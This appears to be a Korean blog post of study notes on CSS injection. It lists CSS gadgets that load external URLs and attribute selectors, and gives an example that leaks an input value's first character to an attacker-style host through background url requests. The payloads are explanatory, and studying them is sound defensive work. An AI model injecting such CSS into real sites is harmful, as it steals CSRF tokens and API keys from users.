Back
Featured image of post [WEB Hacking] CSS injection

[WEB Hacking] CSS injection

CSS Injection?

  • CSS Injection은 악의적인 문자열을 삽입하여 악의적인 동작을 이끄공격
  • CSS 속성을 삽입해 웹페이지의 UI (생김새)를 변조하거나 CSS 속성의 다양한 기능을 통해 웹 페이지내의 데이터를 외부로 훔치는 기술

데이터의 예로는 CSRF Token, 피해자의 API Key등 웹 페이지에 직접적으로 보여지는 값처럼 CSS 선택자를 통해 표현이 가능해야 합니다. 그래서 CSS 선택자로 표현이 불가능한 “script” 태그 내 데이터들은 탈취할 수 없습니다.

1. 외부 URL 호출

CSS 가젯 설명
@import ‘https://leaking.via/css-import-string'; 외부 CSS 파일을 로드합니다. 모든 속성 중 가장 상단에 위치해야합니다. 그렇지 않을 경우 @import는 무시됩니다.
@import url(https://leaking.via/css-import-url); url 함수는 URL를 불러오는 역할을 합니다. 상황에 따라서 선택적으로 사용할 수 있습니다.
background: url(https://leaking.via/css-background); 요소의 배경을 변경할 때 사용할 이미지를 불러옵니다.
@font-face { font-family: leak;src: url(https://leaking.via/css-font-face-src);} 불러올 폰트 파일의 주소를 지정합니다.
background-image: \000075\000072\00006C(https://leaking.via/css-escape-url-2); CSS 에서 함수를 호출할 때 ascii형태의 “url”이 아닌 hex형태인 “\000075\000072\00006C”도 지원합니다.

2. CSS Attribute Selector을 활용한 데이터 탈취

구문 설명
[attr] attr 이라는 이름의 특성을 가진 요소를 선택합니다.
[attr=value] attr 이라는 이름의 특성값이 정확히 value인 요소를 선택합니다.
[attr~=value] attr이라는 이름의 특성값이 정확히 value인 요소를 선택합니다. attr 특성은 공백으로 구분한 여러 개의 값을 가지고 있을 수 있습니다.
[attr^=value] attr이라는 특성값을 가지고 있으며, 접두사로 value가 값에 포함되어 있으면 이 요소를 선택합니다.
[attr$=value] attr이라는 특성값을 가지고 있으며, 접미사로 value가 값에 포함되어 있으면 이 요소를 선택합니다.

예시

/* inputdml value가 지정한 알파뱃으로 시작할때 get requeust 호출 */
input[value^="a"] { background: url('http://ourdomain.com/?char1=a'); }
input[value^="b"] { background: url('http://ourdomain.com/?char1=b'); }
...
input[value^="z"] { background: url('http://ourdomain.com/?char1=z'); }

출처

https://learn.dreamhack.io/327
https://velog.io/@hunjison/CSS-Injection

comments powered by Disqus